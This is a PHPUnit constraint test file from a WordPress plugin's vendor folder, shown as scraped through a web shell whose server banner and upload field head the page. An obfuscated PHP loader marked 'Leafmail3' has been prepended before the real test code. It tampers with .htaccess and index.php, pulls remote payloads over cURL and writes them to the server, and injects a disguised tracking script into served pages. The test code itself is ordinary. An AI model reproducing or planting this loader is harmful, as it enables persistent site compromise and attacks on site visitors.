Server IP : 192.158.238.246 / Your IP : 18.191.138.59 Web Server : LiteSpeed System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64 User : jenniferflocom ( 1321) PHP Version : 8.1.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/7779/cwd/plugins/wp-heyloyalty/vendor/phpunit/phpunit/tests/Framework/ |
Upload File : |
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php /* * This file is part of PHPUnit. * * (c) Sebastian Bergmann <sebastian@phpunit.de> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ /** * @since Class available since Release 3.0.0 */ class Framework_ConstraintTest extends PHPUnit_Framework_TestCase { /** * @covers PHPUnit_Framework_Constraint_ArrayHasKey * @covers PHPUnit_Framework_Assert::arrayHasKey * @covers PHPUnit_Framework_Constraint::count * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintArrayHasKey() { $constraint = PHPUnit_Framework_Assert::arrayHasKey(0); $this->assertFalse($constraint->evaluate([], '', true)); $this->assertEquals('has the key 0', $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate([]); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals(<<<EOF Failed asserting that an array has the key 0. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_ArrayHasKey * @covers PHPUnit_Framework_Assert::arrayHasKey * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintArrayHasKey2() { $constraint = PHPUnit_Framework_Assert::arrayHasKey(0); try { $constraint->evaluate([], 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF custom message\nFailed asserting that an array has the key 0. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_ArrayHasKey * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::arrayHasKey * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintArrayNotHasKey() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::arrayHasKey(0) ); $this->assertFalse($constraint->evaluate([0 => 1], '', true)); $this->assertEquals('does not have the key 0', $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate([0 => 1]); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that an array does not have the key 0. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_ArrayHasKey * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::arrayHasKey * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintArrayNotHasKey2() { $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::arrayHasKey(0) ); try { $constraint->evaluate([0], 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF custom message Failed asserting that an array does not have the key 0. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_FileExists * @covers PHPUnit_Framework_Assert::fileExists * @covers PHPUnit_Framework_Constraint::count * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintFileExists() { $constraint = PHPUnit_Framework_Assert::fileExists(); $this->assertFalse($constraint->evaluate('foo', '', true)); $this->assertEquals('file exists', $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate('foo'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that file "foo" exists. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_FileExists * @covers PHPUnit_Framework_Assert::fileExists * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintFileExists2() { $constraint = PHPUnit_Framework_Assert::fileExists(); try { $constraint->evaluate('foo', 'custom message'); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals(<<<EOF custom message Failed asserting that file "foo" exists. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_FileExists * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_Assert::fileExists * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintFileNotExists() { $file = dirname(__DIR__) . DIRECTORY_SEPARATOR . '_files' . DIRECTORY_SEPARATOR . 'ClassWithNonPublicAttributes.php'; $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::fileExists() ); $this->assertFalse($constraint->evaluate($file, '', true)); $this->assertEquals('file does not exist', $constraint->toString()); $this->assertEquals(1, count($constraint)); try { $constraint->evaluate($file); } catch (PHPUnit_Framework_ExpectationFailedException $e) { $this->assertEquals( <<<EOF Failed asserting that file "$file" does not exist. EOF , PHPUnit_Framework_TestFailure::exceptionToString($e) ); return; } $this->fail(); } /** * @covers PHPUnit_Framework_Constraint_FileExists * @covers PHPUnit_Framework_Constraint_Not * @covers PHPUnit_Framework_Assert::logicalNot * @covers PHPUnit_Framework_Assert::fileExists * @covers PHPUnit_Framework_TestFailure::exceptionToString */ public function testConstraintFileNotExists2() { $file = dirname(__DIR__) . DIRECTORY_SEPARATOR . '_files' . DIRECTORY_SEPARATOR . 'ClassWithNonPublicAttributes.php'; $constraint = PHPUnit_Framework_Assert::logicalNot( PHPUnit_Framework_Assert::fileExists() 